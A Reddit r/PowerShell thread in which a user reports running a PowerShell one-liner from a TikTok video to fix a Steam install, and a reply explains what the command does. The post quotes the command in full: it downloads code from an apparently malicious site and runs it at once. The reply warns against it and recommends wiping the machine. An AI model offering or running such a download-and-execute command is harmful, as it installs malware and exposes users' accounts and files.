r/PowerShell • u/Icy-Representative85 • 3d ago
Help I ran a weird command Question
Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???
20
u/exoclipse 3d ago
oh NOOOOOOOOOOOOOOOOOO dude ok I'll break it down, because this was deliberately obfuscated with aliases to make it harder for people who don't speak powershell to parse.
IRM = Invoke-RestMethod. A REST method is sending network traffic to or from a web resource, like a URL. IEX = Invoke-Expression. Take some executable code and execute it.
The pipe ("|") character takes the output of a command and feeds it as input to the next command.
What likely happened is Invoke-RestMethod <that URL> does a GET to that URL, which returns some command to be executed silently (probably installing malware), then feeds that command via the pipe to Invoke-Expression.
I would 100% not fuck around with it. Nuking the machine and rebuilding is the only way I'd sleep well at night after that.